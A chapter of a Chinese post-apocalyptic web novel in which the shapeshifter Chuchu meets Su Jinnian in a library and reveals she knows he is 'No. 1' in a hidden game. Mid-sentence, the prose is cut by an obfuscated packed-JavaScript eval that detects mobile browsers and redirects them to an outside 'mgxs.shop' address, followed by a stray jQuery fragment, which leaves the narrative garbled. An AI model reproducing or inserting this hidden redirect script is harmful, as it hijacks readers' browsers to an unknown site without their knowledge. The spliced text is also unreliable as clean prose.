末世第四十五天，城北图书馆。
楚楚一个人去的。没有变形伪装，没有带武器，甚至没有穿战斗服。她穿着干净的白色T恤和牛仔裤，头发扎成低马尾，看起来就像一个来图书馆自习的大学生——如果“图书馆”没有被丧尸围了二十多天、书架上落满灰尘、窗户碎了一半、地上有干涸的血迹的话。她在平安堡大门口站了一秒，回头看了一眼。
林笙靠着门框，消防斧扛在肩上，斧刃在晨光中闪了一下。“你确定不要人跟？”
“确定。”
“他要是动手呢？”
“他不会。”楚楚的猫爪从袖子里伸出来，对着林笙按了一下。“他要是动手，我就变成他的样子，把他的手下都指挥走。”
林笙看着那只毛茸茸的猫爪，沉默了一秒。“……你这招太阴了。”
“谢谢。”
陆沉从食堂窗口探出头，手里还拿着半个馒头。馒头是赵德厚早上蒸的，白胖白胖的，冒着热气。他咬了一口，嚼了两下，含混不清地说：“下午三点之前不回来，我就去找你。”
“你找不着。城北图书馆有八层，你一间一间地搜？”楚楚歪着头看他。
“我用雷系异能扫描。”陆沉把馒头咽下去。“电磁波探测。你不是教我的吗？金属能探测，人体也能。”楚楚的猫爪按了按。她确实教过他，用电磁波探测活体——人的心跳会产生微弱的电磁场，雷系异能者可以捕捉到那个频率。她本来以为他要练很久，没想到他已经能用了。
“行。三点不回来，你就来。”
顾衍没有在门口，没有在窗口，没有在任何她能一眼看到的地方。但楚楚知道他在。她听到了他的脚步声——从三楼走廊走到二楼，从二楼走到一楼，从一楼走到大门口。他没有出来，站在门里面，背靠着墙。他的心跳声，从八十几下跳到了九十几下。她没有回头，但她的猫爪按了一下。
“走了。”
她从平安堡出发，往北走。
从平安堡到城北图书馆，走路大概四十分钟。她走得不快不慢，像散步。路上经过了几个废墟——一栋倒塌的居民楼，楼顶上还晒着一床没人收的被子，被子和末世前一样，粉色的，印着小花，但已经被雨水泡烂了，长出了青苔。一个翻倒的报刊亭，玻璃碎了，杂志散了一地，封面上的明星脸被太阳晒褪了色，笑容还在，但已经看不清是谁了。一辆报废的公交车，车身被烧焦了，座椅只剩下骨架，方向盘上挂着一个塑料做的平安符，红色的，已经褪成了粉色。楚楚在公交车旁边停了一下，看着那个平安符。她想起前世在城北图书馆附近见过一辆同样的公交车，车上的平安符还在，但方向盘已经被丧尸的血染黑了。她没有再想。
城北图书馆是一栋八层的灰色建筑，末世前是江北市最大的公共图书馆，藏书量号称百万册。末世后，它变成了苏锦年的据点。不是他选的，是他“继承”的——上一任主人是一个独居的图书管理员，五十多岁，没有异能，只是靠着一扇厚重的铁门和几摞堆在楼梯上的书活了下来。苏锦年来的时候，他没有抵抗。他把钥匙交出来，说“书不要烧”，然后搬到了三楼的一个小房间里，每天看书，晒太阳，活着。
楚楚站在图书馆门口。大门是玻璃的，碎了一扇，剩下的那扇上贴着一张手写的告示——“开馆时间：8：00—18：00，周末照常”。字迹工整，用的是黑色记号笔，还画了一个笑脸。楚楚看着那个笑脸，猫爪按了一下。苏锦年这个人，做事的风格就是这样——在所有人都在拼命活着的时候，他会在告示上画一个笑脸。不是因为他轻松，是因为他想让看到的人觉得自己还没那么惨。
门口的守卫没有拦她。不是因为她看起来无害，而是因为苏锦年已经吩咐过了——“今天有人来找我，让她进来。”楚楚走进去，走过大厅。大厅的借阅台上还放着几本没还的书，书脊上贴着条码，条码的颜色已经褪了。自助借还机的屏幕黑着，插头还插着，但没有电。大厅的墙壁上挂着一幅巨大的油画，画的是银杏树，金黄色的叶子落了一地。油画下面有一行小字——“江北市图书馆赠”。
她走上三楼。楼梯的台阶是磨石子的，脚踩上去有沙沙的声音。二楼和三楼之间的拐角处放着一盆绿萝，还活着，叶子绿油油的，在阳光下微微发亮。有人给它浇水，有人把它搬到有阳光的地方，有人在末世里还惦记着一盆绿萝。
苏锦年在图书馆三楼的阅读室里等她。阅读室很大，大概有两百平米，书架沿着墙壁排列，中间是一排排长的阅读桌，桌上还放着几盏绿色的台灯。阳光从落地窗照进来，在木地板上画出一块一块的金色格子。灰尘在光柱中飞舞，像一群细小的、不会落地的星星。
苏锦年坐在靠窗的位置。他比她想象中的更年轻，大概二十三四岁，五官清秀，不是那种“帅”的清秀，而是那种“干净”的清秀——眉毛不浓不淡，鼻梁不高不低，嘴唇不厚不薄，皮肤没有痘印，没有伤疤，没有末世在脸上留下的任何痕迹。他的笑容是温和的，不是“我在对你笑”的那种温和，而是“我习惯对所有人笑”的那种温和，像一杯温水，不烫嘴，也不凉。他穿着一件浅灰色的风衣，风衣的领子没有竖起来，整整齐齐地翻着。里面是一件白色的衬衫，衬衫的扣子扣到了最上面一颗，领口的扣子也扣了。他的坐姿很端正，背挺直，双手交叉放在膝盖上，像一个人在拍证件照。
楚楚在他对面坐下。椅子上垫着一个软垫，是蓝色的，上面绣着一只猫。楚楚看着那只猫，又看着苏锦年。苏锦年笑了笑，说：“随便放的，不是特意给你准备的。”楚楚没有接话。桌上摆着两杯茶，白瓷杯，杯壁上画着一枝梅花。茶水还冒着热气，茶叶是龙井，在杯底舒展开来，像一朵朵绿色的花。
楚楚看了一眼那杯茶。茶叶的形态、水的颜色、热气的浓度——水温大概在六十度左右，泡了不到三分钟，是等她来了才泡的，不是提前泡好放凉的。她的猫爪在袖子里按了一下。
“你不怕我下毒？”苏锦年笑着问。他的笑容没有变，但楚楚注意到他的眼睛微微眯了一下——不是“我在试探你”的眯，是“我在观察你”的眯，像一个人在看你是否会做出他预期中的反应。
“你不会。”楚楚端起茶杯喝了一口。茶是苦的，然后是回甘，最后是一丝若有若无的甜。她放下茶杯，杯底磕在桌上，发出一声清响。“因为你还没从我这里得到你想要的东西。”
苏锦年的笑容没有变，但他的眼睛不再眯了。他靠回椅背，双手交叉放在膝盖上，姿态从“端正”变成了“放松”。楚楚的猫爪又按了一下。他放松了，因为她没有喝出恐惧。不是因为她不怕毒——茶里没有毒，她尝得出来，变形异能的强化味觉不会骗她。而是因为她没有表现出“我在害怕”的任何迹象。没有犹豫，没有试探，没有“我先喝一小口看看有没有问题”。她端起杯就喝了，像喝自己家的水。这份从容，比任何威胁都更有力量。
“你想要什么？”楚楚放下茶杯，直入正题。没有寒暄，没有客套，没有“最近过得怎么样”。开场白跳过，背景介绍跳过，情绪铺垫跳过。她要从第一句话就站在棋盘的中央，不给他任何布局的机会。
苏锦年靠在椅背上，双手交叉放在膝盖上。他的手指很长，骨节分明，指甲剪得很短，很干净。他的目光从楚楚的茶杯移到她的脸，从她的脸移到她的猫爪——猫爪藏在袖子里，但他知道它在那里。从她的猫爪移回她的眼睛——灰蓝色的，金色的竖瞳，像一只在阳光下晒太阳的猫的眼睛，慵懒的，无害的，但随时可以亮出爪子。
“我想要你。”苏锦年的声音很轻，但在安静的阅读室里显得格外清晰。他的笑容没有变，但楚楚注意到他的嘴角比平时多弯了一点点——不是“调情”的弯，是“我在说实话”的弯。
楚楚的猫爪在袖子里按了一下。不是紧张，是“我就知道你会这么说”的确认。
“说清楚。”
“我想要你的变形系异能。”苏锦年的笑容淡了一点，不是消失了，是收敛了。像一个演员在说完一句重要的台词之后，把表情收回来，准备说下一句。“不是抢，是合作。你的变形系可以变成任何人，我的精神系可以连接任何人的意识。如果我们合作，整个北城区——不，整个末世——都会是我们的。”他说“整个末世”的时候，语气没有激动，没有狂热，没有“我要统治世界”的疯狂。他只是在陈述一个事实，像在说“今天天气不错”。
“我们？”楚楚的手指在茶杯的杯沿上划了一圈。陶瓷的触感光滑，冰凉。“你我。”
苏锦年看着她。他的目光在她的脸上停留了很久，久到楚楚以为他要说什么。但他说了“你我”。两个字，中间没有停顿，语气也没有变化。
楚楚沉默了几秒。她在犹豫——不是犹豫要不要问，而是犹豫怎么问。她想知道他知不知道上帝游戏，知不知道候选人，知不知道她和他都是棋盘上的棋子。如果知道，他知道多少？什么时候知道的？知道这些之后，他是想跳出棋盘，还是想成为下棋的人？她端起茶杯，又喝了一口。茶已经凉了，苦味更重了，回甘更淡了。
“你知道我是99号吗？”她放下茶杯，看着苏锦年的眼睛。
苏锦年的笑容彻底消失了。不是慢慢消失的，是像被人按下了暂停键，一瞬间就没有了。他的嘴角从微微上扬变成了一条直线，他的眼睛从温和变成了一种楚楚从未见过的颜色——不是冷，不是硬，不是任何攻击性的东西。而是认真。一种“你要说真正重要的事了，我也要认真听”的认真。
“你知道。”楚楚没有问“你知道我是99号吗”，她说的是“你知道”。陈述句，不是疑问句。她在告诉他——我知道你知道。
苏锦年看着她，没有说话。他的手指在膝盖上轻轻敲了两下，频率不快不慢，像一个人的心跳。
“我知道。”楚楚说。“我还知道你是1号。”
阅读室里的空气凝固了。不是“安静”的那种凝固，而是“时间停止”的那种凝固。书架上的灰尘不再飞舞，阳光中的金色格子不再移动，茶杯上的热气不再升起。苏锦年的手指停在了膝盖上，第二下敲出去之后，第三下没有落下。他的眼睛——楚楚看到他的眼睛变了。不是“惊讶”，不是“恐惧”，不是“你怎么知道”的震惊。而是“终于”。像一个藏了很久的秘密终于被另一个人说出来时的释然，像一个等了很多年的人终于等到了那句话。
他盯着她看了很久。久到楚楚以为他要动手了——她的猫爪在袖子里准备着变形，变形只需要零点三秒，比他的骨刃快吗？不知道，但总要试试。然后他慢慢地、一个字一个字地说：“你怎么知道的？”声音不大，但每一个字都像一颗钉子，钉进木头里，拔不出来。
“我有我的情报来源。”楚楚的手指在桌面上敲了一下。猫爪的指甲没有伸出来，只是肉垫，在木头上留下一个无声的印子。
“没有人知道我是1号。连我最信任的人都不知道。”苏锦年的声音低了下去，不是“我在威胁你”的低，而是“我在对你说实话”的低。
楚楚站起来，居高临下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621469|206187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地看着他。阳光从她背后的窗户照进来，把她的轮廓镀上了一层金色的光。她的影子落在苏锦年的身上，落在他的灰色风衣上，落在他交叉的双手上。
“现在我知道了。”
苏锦年的表情变了。不是愤怒——愤怒是热的，是红的，是从下往上烧的。他的表情是冷的，是白的，是从上往下沉的。不是恐惧——恐惧会让人往后缩，他没有。他的身体没有动，他的手没有动，他的眼睛没有眨。只是一种好奇。一种纯粹的、发自内心的、像一个小孩子第一次见到雪的好奇。不是“你是什么人”的好奇，而是“你到底是谁”的好奇。
“你到底是什么人？”他问。
楚楚没有回答。她看着他，看着他的灰色风衣，看着他的白色衬衫，看着他交叉在膝盖上的双手。他的手指还在那个位置，保持着最后一下敲击的姿势。第三下没有落下，永远不会落下了。
她转身走了。步伐不快不慢，和来时一样，像散步。她的帆布鞋踩在木地板上，发出轻轻的“嗒、嗒、嗒”的声音。穿过阅读室，走过书架，走过那盆绿萝，走下楼梯。脚步声在空旷的图书馆里回荡，像一个人在下雨天踩着水坑。
苏锦年没有追。他坐在椅子上，看着那杯凉透的茶，看着茶杯上那只画在梅枝上的鸟，看着那个他准备了很久、等了一个人来说、但最终没有说出来的答案。
楚楚走出图书馆大门，阳光涌过来，温暖地覆在她的脸上。猫爪在袖子里按了按。
【你为什么不告诉他你重生的事？】猫爪写道。
楚楚看着远处的天空。灰蓝色的云层低垂，像要下雨。风从北边吹来，凉凉的，带着雨的味道。
“不到时候。”
【什么时候才是时候？】
楚楚看着城北的方向。图书馆的八层楼在灰蓝色的天空下显得很安静，像一个在等朋友来还书的图书管理员。她想起苏锦年坐在阳光下的样子——干净的，整齐的，与这个末世格格不入的。像一个不该出现在这里的人。
楚楚的嘴角弯了一下。不是笑，是“我会再来”的约定。
“等我能杀他的时候。”她说完，猫爪又按了一下。
她转身朝平安堡走去。走着走着，她忽然停下来，低头看着自己的右手。猫爪从袖子里伸出来，对着城北的方向按了一下，像是在说“再见”。
楚楚把猫爪塞回口袋。“你干嘛？”
【跟他告别。】
“他看不到。”
【他会知道的。】
楚楚没有再说话。她继续走。走着走着，她听到了身后传来的脚步声——不是苏锦年的，是顾衍的。她听得出他的脚步声，和其他人不一样，他的脚步很轻，但每一步落地的位置都很准，像一个人在量距离。她听到了他的心跳，比平时快了一点。她从城北图书馆走到平安堡，走了四十分钟，他跟了她四十分钟。她没有回头，但她的猫爪在口袋里按了整整四十分钟。
回到平安堡的时候，林笙还在大门口。不是“等”在那里，是“巡逻”经过那里。但她已经巡逻了八遍了，从楚楚离开到现在，她在门口来回走了八遍。消防斧在她肩上换了十六次肩。
“回来了？”林笙的声音很平静，但她的斧头在手里转了一圈——那是她紧张时的习惯动作。
“回来了。”楚楚走进大门。
“没打架？”
“没。”
“没受伤？”
“没。”
“那没事了。”林笙把消防斧扛回肩上，转身走了。走了两步，又停下来。“对了，赵叔留了饭。红烧肉，给你热着呢。”她走了。脚步声在走廊里渐渐远去，嗒、嗒、嗒、嗒，和她的步伐一样干脆利落。
楚楚站在大门口，看着平安堡的院子。刘建国在修门，赵德厚在洗碗，周晚晚在诊所里给病人换药，王秀兰在旁边递纱布，余舟在机房调试设备，小石头在破解铁血团的通讯加密，宋瑶在302室写笔记，老赵头在走廊里削弹弓，赵小苗在追着赵小禾跑，流浪猫蹲在食堂门口等着赵德厚扔鱼骨头。
一切都很正常。
楚楚走进食堂，赵德厚从灶台后面端出一碗红烧肉，肉是热的，米饭是新的，旁边还放了一碗紫菜蛋花汤。“吃吧。”
楚楚坐下，拿起筷子。猫爪在桌下按了按，像是在说“饿死了”。她夹了一块红烧肉放进嘴里，肥而不腻，入口即化。她的猫爪又按了一下，这次是在说“好吃”。赵德厚看着她吃，笑着说：“慢点吃，没人跟你抢。”林笙从门口探出头，看了一眼，缩回去了。陆沉从窗口探出头，看了一眼，也缩回去了。
楚楚吃完最后一块肉，喝完最后一口汤，放下碗，靠在椅背上。猫爪在她掌心按了一下，像是在说“饱了”。她看着窗外的天空，灰蓝色的云层还是低垂着，但雨还没有下。
“要下雨了。”楚楚说。
赵德厚看了看天。“嗯。得把晒的被子收回来。”
楚楚站起来，把碗放进水池里。“我来收。”
她走出食堂，走上天台。流浪猫跟在她脚后面，尾巴竖得笔直。天台上的晾衣绳上挂着好几床被子，有蓝色的，有灰色的，有条纹的。她把被子一床一床地收下来，叠好，抱在怀里。被子很轻，但很大，抱着走的时候挡住了视线。她只能看到脚下的路。
猫爪从被子下面伸出来，按了按她的掌心，像是在说“我帮你看着路”。
楚楚弯了弯嘴角。
“好。”
她抱着被子走下天台。雨还没有下。但快了。